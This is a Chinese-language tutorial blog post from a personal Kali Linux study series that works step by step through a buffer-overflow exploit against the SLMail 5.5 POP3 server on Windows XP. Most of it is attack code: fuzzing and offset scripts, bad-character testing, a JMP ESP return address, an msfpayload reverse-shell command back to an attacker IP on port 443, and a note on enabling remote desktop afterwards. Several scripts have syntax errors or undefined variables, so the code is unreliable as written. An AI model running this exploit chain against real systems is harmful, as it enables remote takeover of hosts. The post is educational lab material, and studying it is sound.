Kali linux 学习笔记(十八)缓冲区溢出(SLMail) 2020.2.29

前言

前几天在学漏洞扫描
主要就是openvas和nessus的运用
就没有写笔记
可以参考

https://blog.csdn.net/Kevinhanser/article/details/79506904
https://blog.csdn.net/weixin_34241036/article/details/93187026
https://blog.csdn.net/wwl012345/article/details/96998187?ops_request_misc=%7B%22request%5Fid%22%3A%22158314087819725256756581%22%2C%22scm%22%3A%2220140713.130056874..%22%7D&request_id=158314087819725256756581&biz_id=0&utm_source=distribute.pc_search_result.none-task

之前一直都是扫描发现漏洞
现在开始,学习利用漏洞进行攻防

程序漏洞来源在于

  • 变量是根源
  • 数据和代码边界不清

一个简单的例子
最简漏洞原理——shell脚本漏洞

ld.sh
#!/bin/bash
echo &1
#显然就是个显示字符的脚本
#如果输入一个系统命令,并不会执行
#如果在系统命令前加入";",系统命令被执行
#如./ld.sh ;pwd

缓冲区溢出就是种简单的可以

1、缓冲区溢出简介

当缓冲区边界限制不严格时
由于变量传入畸形数据或程序运行错误
导致缓冲区被“撑爆”,覆盖相邻内存区域的数据
然后可以

  • 修改内存数据
  • 造成进程劫持
  • 执行恶意代码
  • 获取服务器控制器

发现漏洞的方法:

  • 源码审计
  • 逆向工程
  • 模糊测试
    • 向程序堆栈半随机数据,根据内存变化判断溢出
    • 数据生成器:生成随机、半随机数据
    • 测试工具:识别溢出漏洞
  • 对未知协议,可以查RFC或用wireshark抓包

2、以SLMail为例完成一次缓冲区溢出

实验准备

目标主机:windows xp(win7以上修复了相关漏洞)注意win的25和110端口要打开
所需程序:SLMail 5.5.0 Mail Server、ImmunityDebugger_1_85_setup.exe、mona.py

原理:
用kali向win的SLMail进行攻击
nc 连接 110端口
输入
USER test
PASS aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
#PASS传输足够大的数据,就会缓冲区溢出,覆盖相邻内存
然后通过在溢出的内存上放置shellcode来实现攻击

下面一步步来

实现连接

脚本01.py实现连接和发送指令

#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
 print("\nSending evil buffer...")
 s.connect(('192.168.1.119',110) #连接SLMail
 data=s.recv(1024)
 print(data)
 s.send('USER test'+'\r\n')
 data=s.recv(1024)
 print(data)
 s.send('PASS test\r\n')
 data=s.recv(1024)
 print(data)
 s.close()
 print("\nDone")
except:
 print("Could not connect to POP3")

模糊测试

发送大量数据看是否会溢出
脚本02.py不断增大数据并确定临界

#!/usr/bin/python
import socket
buffer=["A"]
counter=100
while len(buffer)<=30:
 buffer.append("A"*counter)
 counter+=200
for string in buffer:
 print("\nSending evil buffer...")
 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 s.connect(('192.168.1.119',110) #连接SLMail
 data=s.recv(1024)
 s.send('USER test'+'\r\n')
 data=s.recv(1024)
 s.send('PASS'+buffer+'\r\n')
 s.send('QUIT\r\n')
 s.close()

发现2700个左右会发生溢出

定位边界

ImmunityDebugger
可以对exe进行汇编调试
也可以对进程attach进行调试
对110端口的进程进行调试
关注寄存器EIP(存放下一条指令地址),会被覆盖

kali执行

/usr/share/metasploit-framework/tools/
./pattern_create.rb 2700

生成2700个唯一字符串设为str

脚本03.py定位溢出临界

#!/usr/bin/python
import socket
buffer=str #上面生成的字符串str
try:
 print("Fuzzing PASSwith %s bytes" %len(string))
 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 s.connect(('192.168.1.119',110) #连接SLMail
 s.recv(1024)
 s.send('USER test'+'\r\n')
 s.recv(1024)
 s.send('PASS'+string+'\r\n')
 s.close()
 print("\nDone")
except:
 print("Could not connect to POP3")

然后根据EIP的内容可以定位溢出字符
例EIP 39694438

./pattern_offset.rb 39694438 #定位成功2606

注意内存内容左右反的

探寻存放空间

因为已经实现可以精确修改EIP和ESP的内容
现在探寻ESP空间是否足够大,可以放shellcode
如果可行,把shellcode写入ESP
把ESP的地址写入EIP
这样系统读取EIP会执行shellcode

脚本04.py探寻ESP空间

#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer="A"*2606+"B"*4+"C"*(3500-2606-4)
try:
 print("Sending evil buffer...")
 s.connect(('192.168.1.119',110) #连接SLMail
 s.recv(1024)
 s.send('USER test'+'\r\n')
 s.recv(1024)
 s.send('PASS'+buffer+'\r\n')
 s.close()
 print("\nDone")
except:
 print("Could not connect to POP3")

计算一下发现是416B,够放shellcode

坏字符剔除

不同类型的程序、协议等,会将某些字符认为是坏字符
在返回地址、shellcode、buffer中都不能出现坏字符
在pop3中,null、byte、(0x00)是空字符,用于终止字符串的拷贝
return(0x00)回车操作,表示PASS输入完成

为了查找所有坏字符
发送0x00-0xff这256个字符,进行测试

脚本05.py测试坏字符

#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
badchars=(
"\x01\x02......\x10"
"\x11......"
"......"
"\xf1......\xff\x00") #把所有256个字符罗列完
buffer="A"*2606+"B"*4+badchars
try:
 print("Sending evil buffer...")
 s.connect(('192.168.1.119',110) #连接SLMail
 s.recv(1024)
 s.send('USER test'+'\r\n')
 s.recv(1024)
 s.send('PASS'+buffer+'\r\n')
 s.close()
 print("\nDone")
except:
 print("Could not connect to POP3")

根据结果不断修改和测试
以找出所有坏字符

ESP的地址

ESP的地址会变化,不可硬编码
寻找地址固定的系统模块,且其中有JUMP ESP指令
然后可以在EIP里放这个指令的地址
从而跳到ESP来执行shellcode
mona里有相应模块

在ImmunityDebugger中执行

!mona modules #查看模块

看rebase是False 即重启不变
看safe、ADLR、DEP是False即安全模块不开
看OS Dil是True即操作系统自带
找到符合条件的模块(如slmfc.dil)后看他是否有jump esp指令

kali里执行

cd /usr/share/metasploit-framework/tools
./nasm_shell.rb #将汇编语言转换为二进制
>jmp esp #得到二进制

在ImmunityDebugger中执行

!mona find -s "\xff\xe4" -m slmfc.dil

找到指令地址5F4B41E3并设置断点

脚本06.py

#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer="A"*2606+"\x03\x41\x4b\x5f"+"C"*390 #注意内存地址是全反的
try:
 print("Sending evil buffer...")
 s.connect(('192.168.1.119',110) #连接SLMail
 s.recv(1024)
 s.send('USER test'+'\r\n')
 s.recv(1024)
 s.send('PASS'+buffer+'\r\n')
 s.close()
 print("\nDone")
except:
 print("Could not connect to POP3")

通过调试,已经可以令系统跳转到ESP了

shellcode

kali里面

cd /usr/share/framework2/
./msfpayload -l #查看msfpayload里的shellcode
./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 C #反向连接,指定自己的IP和端口,C说明是C语言
./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b "\x00\x0a\x0d" #把坏字符编掉,R用来编码

生成shelllcode

脚本07.py

#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
shellcode=""#在双引号里复制生成的shellcode
buffer="A"*2606+"\x03\x41\x4b\x5f"+"\x90"*8+shellcode #x90是不操作,保证shellcode的有效性
try:
 print("Sending evil buffer...")
 s.connect(('192.168.1.119',110) #连接SLMail
 s.recv(1024)
 s.send('USER test'+'\r\n')
 s.recv(1024)
 s.send('PASS'+buffer+'\r\n')
 s.close()
 print("\nDone")
except:
 print("Could not connect to POP3")

理论上应该能成功
用nc监听下443
然后获得目标主机的shell

获取远程桌面

在shell里修改注册表
打开远程桌面
这个网上蛮多

然后就可以随意发挥了

结语

本次学习较为完整的实现对windows xp的控制
通过SLMail这个经典漏洞
了解了缓冲区溢出的相关知识

参考:
https://blog.csdn.net/levones/article/details/88233190
https://blog.csdn.net/SKI_12/article/details/80950537

发布了28 篇原创文章 · 获赞 2 · 访问量 1030

猜你喜欢

转载自blog.csdn.net/weixin_44604541/article/details/104579315
今日推荐